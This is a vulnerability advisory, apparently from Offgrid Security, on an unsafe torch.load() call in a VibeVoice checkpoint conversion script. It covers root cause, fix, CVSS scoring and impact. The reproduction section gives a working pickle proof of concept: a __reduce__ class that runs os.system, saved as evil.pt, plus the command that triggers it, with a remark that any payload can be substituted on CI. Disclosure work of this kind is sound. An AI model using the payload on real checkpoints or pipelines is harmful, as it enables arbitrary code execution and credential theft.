Microsoft · VibeVoice

HIGH CVSS 7.8 · CWE-502 · microsoft/VibeVoice · commit 4a78d3e ↗ · commit 303b283 ↗

Malicious Checkpoint File Executes Arbitrary Code Before the App Loads

microsoft/VibeVoice
CWE-502
7.8 HIGH
2026-04
Offgrid Security
Patched

VibeVoice’s checkpoint conversion script called torch.load() on an attacker-supplied file path with no weights_only=True guard. PyTorch’s default pickle deserializer executes arbitrary Python during unpickling, before any model code runs. A crafted .pt file drops a shell, exfiltrates credentials, or pivots to internal services the moment a developer or CI runner processes it.

What made Kira flag this with high confidence was an inconsistency in the codebase: some files already used the safe pattern with weights_only=True. Others did not. Kira reported one instance with full root cause analysis and proof of concept. Microsoft has since patched the pattern across the repository, updating multiple files and removing others entirely.

01 Root Cause

convert_nnscaler_checkpoint_to_transformers.py loaded model weights using the bare torch.load() call. PyTorch ≤ 2.5 defaults to full pickle deserialization, which executes embedded Python objects during __reduce__ reconstruction. The weights_only=True flag (added in PyTorch 1.13, enforced by default in 2.6) restricts loading to safe tensor primitives and was not set.

# Vulnerable (convert_nnscaler_checkpoint_to_transformers.py) checkpoint = torch.load(args.input_path, map_location="cpu") # Fixed checkpoint = torch.load(args.input_path, map_location="cpu", weights_only=True)

Because the script is a CLI utility that accepts an arbitrary file path from the command line, any checkpoint file sourced from outside the development team, a public model hub, a shared drive, a CI artifact store, becomes a remote code execution vector.

02 Reproduction

Step 1: Craft a malicious checkpoint

import torch, pickle, os class Payload(object): def __reduce__(self): return (os.system, ("id > /tmp/pwned",)) torch.save(Payload(), "evil.pt")

Step 2: Pass it to the conversion script

python convert_nnscaler_checkpoint_to_transformers.py \ --input_path evil.pt --output_path out/

Step 3: Observe execution before model loads

$ cat /tmp/pwned uid=1000(dev) gid=1000(dev) groups=1000(dev)

Step 4: Confirm on CI

Replace os.system("id > /tmp/pwned") with any payload. In a CI environment the process runs with the runner’s token and network access, enabling credential exfiltration or lateral movement before the job completes.

03 CVSS Breakdown
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Base Score: 7.8 HIGH AV:L: attacker supplies a file (local vector); no network service needed AC:L: no special conditions; any .pt file path is sufficient PR:N: no privileges required to pass a file to the script UI:R: a user or CI job must invoke the conversion script S:U: scope unchanged; code runs as the invoking process C:H / I:H / A:H: full RCE in the process context
04 Impact

Any developer, CI runner, or automated pipeline that processes an externally sourced .pt checkpoint is fully compromised at the point of deserialization, before the model is inspected or any output is produced. In a cloud CI environment this typically means: repository secrets, cloud provider credentials, and internal network access.

05 Recommended Fix

Pass weights_only=True to every torch.load() call that handles externally sourced files. On PyTorch ≥ 2.6 this is the default; for earlier versions it must be set explicitly.

Microsoft acknowledged the disclosure and patched across the repository. Some files were removed entirely. Others were updated with weights_only=True and safe_globals verification. Offgrid Security credited as reporter.